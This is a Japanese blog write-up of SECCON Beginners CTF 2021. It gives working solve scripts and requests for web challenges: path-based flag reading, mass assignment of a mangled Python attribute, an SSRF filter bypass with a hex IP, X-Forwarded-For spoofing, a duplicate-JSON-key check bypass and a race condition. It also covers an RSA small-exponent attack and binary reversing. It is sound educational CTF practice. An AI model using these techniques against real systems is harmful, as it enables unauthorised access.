好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

SECCON Beginners CTF 2021

2021年5月22~23日にかけて開催された、SECCON Beginners CTF 2021 に参加しました。
今まで参加した中で一番短い参加時間だったかもしれないですが、せっかく参加したのでwriteupを書いておきます!
Beginners向けの取り組みやすい問題が多かった & 自明すぎる問題がなくてとても良い感じだった気がするので(全然見ていないジャンルもありますが)見なかった問題も後から復習したい(๑•̀ㅂ•́)و✧

welcome問合わせて9問解いて687点、229/943位でした。

f:id:kusuwada:20210523141846p:plain

ちょこちょこ空いた時間で取り組んだので、得点の低い問題が多いです。webは最後1問で時間切れ。
低得点問題中心なので、勢いに任せたスピード重視のwriteupで失礼します。

[Web] osoba [Beginner]

美味しいお蕎麦を食べたいですね。フラグはサーバの /flag にあります! https://osoba.quals.beginners.seccon.jp/

https://osoba.quals.beginners.seccon.jp/?page=xxx

で表示するページを制御しているようなので、ここにflagのpathを入れる。

https://osoba.quals.beginners.seccon.jp/?page=/flag

[Web] Werewolf [Easy]

I wish I could play as a werewolf...

https://werewolf.quals.beginners.seccon.jp/

占い的なゲームが始まります。

f:id:kusuwada:20210523141933p:plain

どうやらwerewolfとしてプレイできれば良さそう。

app.pyが配布されていました。

import os
import random
from flask import Flask, render_template, request, session

# ====================

app = Flask(__name__)
app.FLAG = os.getenv("CTF4B_FLAG")

# ====================

class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
        # :-)
        # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])

    @property
    def role(self):
        return self.__role

    # :-)
    # @role.setter
    # def role(self, role):
    #     self.__role = role


# ====================

@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == 'GET':
        return render_template('index.html')

    if request.method == 'POST':
        player = Player()

        for k, v in request.form.items():
            player.__dict__[k] = v

        return render_template('result.html',
            name=player.name,
            color=player.color,
            role=player.role,
            flag=app.FLAG if player.role == 'WEREWOLF' else ''
        )

# ====================

if __name__ == '__main__':
    app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))

途中の

for k, v in request.form.items():
    player.__dict__[k] = v

のところで、Playerのインスタンス変数が上書きされていそうだな、という事で、こんなリクエストをpostで送ってみました。

data = {'name': 'aaa',
        'color': 'red',
        '__role': 'WEREWOLF'}

が、role部分だけ書き換わらず。これは何か__から始まる変数に対してはからくりがあるのか?と思いつつググってみるも、ぱっと情報が出てこず。(多分ググり方の問題)

テストとして、__dict____roleがどのように扱われているかを見るために、こんなテストコードを書いてみました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import random

class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
        # :-)
        # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])

    @property
    def role(self):
        return self.__role

    # :-)
    # @role.setter
    # def role(self, role):
    #     self.__role = role


player = Player()

request = {'name': 'aaa',
        'color': 'red',
        '__role': 'WEREWOLF'}

for k, v in request.items():
    player.__dict__[k] = v

print(player.__dict__)
print(player.name, player.color, player.role)

ほぼ配布されたコードと同じで、player.__dict__ を表示してみています。

実行結果

$ python test.py 
{'name': 'aaa', 'color': 'red', '_Player__role': 'VILLAGER', '__role': 'WEREWOLF'}
aaa red VILLAGER

おや!_Player__roleとなるのか。なるほど!
ということで、下記のコードを流すとflagがもらえました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import json

url = 'https://werewolf.quals.beginners.seccon.jp/'

data = {'name': 'aaa',
        'color': 'red',
        '_Player__role': 'WEREWOLF'}
res = requests.post(url, data=data)
print(res.text)

__dict__の仕様の勉強になった。

[Web] check_url [Easy]

Have you ever used curl ?

https://check-url.quals.beginners.seccon.jp/

index.phpが配布されます。

<!-- HTML Template -->
          <?php
            error_reporting(0);
            if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
              echo "Hi, Admin or SSSSRFer<br>";
              echo "********************FLAG********************";
            }else{
              echo "Here, take this<br>";
              $url = $_GET["url"];
              if ($url !== "https://www.example.com"){
                $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
              }
              if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
                die("do not hack me!");
              }
              echo "URL: ".$url."<br>";
              $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
              curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
              echo "<iframe srcdoc='";
              curl_exec($ch);
              echo "' width='750' height='500'></iframe>";
              curl_close($ch);
            }
          ?>
<!-- HTML Template -->

まずは試してみようとhttps://google.comを突っ込んでみるも、.が👻に置き換えられてしまう。

$url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing

これだ。。。
他、loaclhost,apacheという文言が使えない。
どうやらlocalhostにつなげればflagを出してくれるっぽい。

ここでlocalhostの他の表現方法を探してみると、こんな神ページが…。

127.0.0.1(localhost)を一番面白く表記できた奴が優勝 - Qiita

ありがとうございます!
しかもcurlコマンドでの挙動確認済。
今回は "5. 0x7F000001" を使ってみました。

https://check-url.quals.beginners.seccon.jp/?url=http://0x7F000001:80

※httpなのでportを80にしてみた。

f:id:kusuwada:20210523142016p:plain

フラグゲット٩(๑❛ᴗ❛๑)尸

[Web] json [Medium]

外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。

https://json.quals.beginners.seccon.jp/

json.tar.gz が配布されます。

指定のページに飛んでみると

Internal Website / 内部ページ このページはローカルネットワーク(192.168.111.0/24)内の端末からのみ閲覧できます。This page can only be viewed from a device within the local network(192.168.111.0/24).

あなたのIPアドレスは"xx.xx.xx.xx"です。Your IP adress is "xx.xx.xx.xx".

あなたはこのページを閲覧できません。You are not allowed to view this page.

なるほど。
picoCTF 2021のWho are you? でもやったように、リクエスト元のIPアドレスを偽装してみます。

$ curl https://json.quals.beginners.seccon.jp/ -H "X-Forwarded-For: 192.168.111.0" 

レスポンス

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Internal Website / 内部ページ</title>
    <link
      rel="stylesheet"
      href="https://cdn.jsdelivr.net/npm/bulma@0.9.2/css/bulma.min.css"
    />
  </head>

  <body>
    <section class="section">
      <div class="container">
        <h1 class="title">Internal Website / 内部ページ</h1>
        <p class="subtitle mt-1">
          You can get special information in this page.
        </p>
        <div class="field">
          <label class="label">Select item</label>
          <div class="control">
            <div class="select">
              <select id="item">
                <option>Quick brown fox</option>
                <option>Lorem ipsum</option>
                <option>Flag</option>
              </select>
            </div>
          </div>
        </div>
        <div class="field is-grouped">
          <div class="control">
            <button id="submit" class="button is-link">Submit</button>
          </div>
        </div>
        <div id="message"></div>
      </div>
    </section>
    <script>
      let submit = document.getElementById("submit");
      let message = document.getElementById("message");
      submit.addEventListener("click", (event) => {
        message.innerHTML = "";
        let xhr = new XMLHttpRequest();
        xhr.open("POST", "/");
        xhr.setRequestHeader("Content-Type", "application/json");
        xhr.onload = () => {
          if (xhr.status === 200) {
            message.innerHTML =
              '<article class="message is-success"><div class="message-header"><p>Success</p></div><div class="message-body">' +
              JSON.parse(xhr.response).result +
              "</div></article>";
          } else {
            message.innerHTML =
              '<article class="message is-danger"><div class="message-header"><p>Error</p></div><div class="message-body">' +
              JSON.parse(xhr.response).error +
              "</div></article>";
          }
        };
        data = JSON.stringify({
          id: document.getElementById("item").selectedIndex,
        });
        xhr.send(data);
      });
    </script>
  </body>
</html>

internalページが表示されました!

f:id:kusuwada:20210523142047p:plain:w400

"Flag"を選択してsubmitすれば良さそう。
が、指定の仕方がわからない。配布されたコードを、ここで真面目に読んでみます。

json
├── api
│   ├── Dockerfile
│   ├── go.mod
│   ├── go.sum
│   └── main.go
├── bff
│   ├── Dockerfile
│   ├── go.mod
│   ├── go.sum
│   ├── main.go
│   └── templates
│       ├── error.tmpl
│       └── index.html
├── docker-compose.yml
└── nginx
    ├── Dockerfile
    └── default.conf

構成はこんな感じ。apiサーバーとbuffサーバーが建っています。
どうやら、リクエストはbuffの方に送られ、下記の条件を回避するとapiサーバーの方に送られるらしい。

if err != nil
if err := json.Unmarshal(body, &info); err != ni
if info.ID < 0 || info.ID > 2
if info.ID == 2

ここでFlagの{'id'=2}を指定してしまうと、"It is forbidden to retrieve Flag from this BFF server." と言われてフラグがもらえません。

ここをすり抜けると http://api:8000 にpostしてもらえて、更に id=2だったらflagがもらえる。

このムダに見える多階層のパターンは TOCTOU (Time of Check to Time of Use)のパターンかな?ということで、buffのときとapiのときとで評価する値がシャッフルされることを期待して、idパラメータを2つ送っていみた。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import json

url = 'https://json.quals.beginners.seccon.jp/'

headers = {'X-Forwarded-For': '192.168.111.0', \
           'Content-Type': 'application/json'}
data = '{"id":2, "id":0}'
res = requests.post(url, headers=headers, data=data)
print(res.text)

実行結果

i$ python solve.py 
{"result":"ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}"}

やったね!

[Web] cant_use_db [Medium]

Can't use DB. I have so little money that I can't even buy the ingredients for ramen. 🍜 https://cant-use-db.quals.beginners.seccon.jp/

cant_use_db.tar.gz が配布されます。

サイトを訪れてみるとこんな感じ。

f:id:kusuwada:20210523142119p:plain:w500

現在の所持金 $20000, 麺が $10000 でスープが $20000、Flagをもらうには麺は2個以上、スープが1個以上必要…。ラーメン高すぎん?300万円でっせ…。

配布されたコードを見てみます。(app.py)
なんと、データが全部ファイルで管理されてる!!!

購入する時の流れは

noodles += 1
open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles))
time.sleep(random.uniform(-0.2, 0.2) + 1.0)
balance -= 10000
open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
return "💸$10000"

こんな感じで、順序的には買った物の数を+1、何故か不自然なsleepの後、残金を書き換え得てreturn。
これは無駄なsleep時間を突いて、race condition狙えるのでは?ということで、時間もなかったので「💸$10000」のpopが出てくる前にNoodleを2回、Soupを1回ポチ。
...成功!

f:id:kusuwada:20210523142200p:plain:w300

この状態でeat(😋)を押すとFlagがもらえました!

[Crypto] simple_RSA [Beginner]

Let's encrypt it with RSA!

simple_RSA.tar.gz が配布されます。

probrem.py

from Crypto.Util.number import *
from flag import flag

flag = bytes_to_long(flag.encode("utf-8"))

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 3

assert 2046 < n.bit_length()
assert 375 == flag.bit_length()

print("n =", n)
print("e =", e)
print("c =", pow(flag, e, n))

ouput.txt

n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
e = 3
c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613

eが極端に小さいので、Low Public Exponent Attackが使えそう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import gmpy2

e = 3
c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613

m, result = gmpy2.iroot(c,e)
if result:
    flag = bytes.fromhex(hex(m)[2:]).decode('ascii')
    print(flag)

[Reveersing] only_read

バイナリ読めなきゃやばいなり〜

chall が配布されます。

ghidraに突っ込んでdecompileしてもらったらflagが書いてあった。
decompile結果から抜粋

  if (((((((char)local_28 == 'c') && (local_28._1_1_ == 't')) && (local_28._2_1_ == 'f')) &&
       (((local_28._3_1_ == '4' && (local_28._4_1_ == 'b')) &&
        ((local_28._5_1_ == '{' && ((local_28._6_1_ == 'c' && (local_28._7_1_ == '0')))))))) &&
      (((char)local_20 == 'n' &&
       ((((((local_20._1_1_ == '5' && (local_20._2_1_ == 't')) && (local_20._3_1_ == '4')) &&
          ((local_20._4_1_ == 'n' && (local_20._5_1_ == 't')))) &&
         ((local_20._6_1_ == '_' && ((local_20._7_1_ == 'f' && ((char)local_18 == '0')))))) &&
        (local_18._1_1_ == 'l')))))) &&
     ((((local_18._2_1_ == 'd' && (local_18._3_1_ == '1')) && ((char)local_14 == 'n')) &&
      ((local_14._1_1_ == 'g' && (local_12 == '}')))))) {
    puts("Correct");

この条件式にある文字を繋げばflag。

[Reveersing] children [Easy]

これから10個の子プロセスを作るよ。 彼らの情報を正しく答えられたら、FLAGをあげるね。 ちなみに、子プロセスは追加の子プロセスを生む可能性があるから注意してね。

children が配布されます。

実行すると

$ ./children 
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!

Please give me my child pid!

こんな感じで発生した子プロセスのPIDを聞かれます。

$ ps a -o user,pid,ppid,tty,command

でプロセス一覧と、ppid(親プロセス)を表示し、対象のプロセスのPIDを取得します。

root     32574  3665 pts/0    ./children
root     32575 32574 pts/0    [children] <defunct>

今回の実行時は32574が親プロセスになっているので、これを親に持つプロセスIDの最新を毎回調査して答えていきます。
最後に

> How many children were born?

と聞かれるので、[children] <defunct>となっているプロセスの数を数えてinputすればflagが出ました🙌

おわりに

久しぶりのリアルタイムCTF、ちょっとしか参加できなかったけどやっぱりただの復習・後追いとは違う楽しさが!ちょっと遠のいていたけど、またやりたいな、と思えるくらいの気力をいただきました。
運営・作問の方々、参加した方々、お疲れさまでした&ありがとうございました(◍•ᴗ•◍)ゝ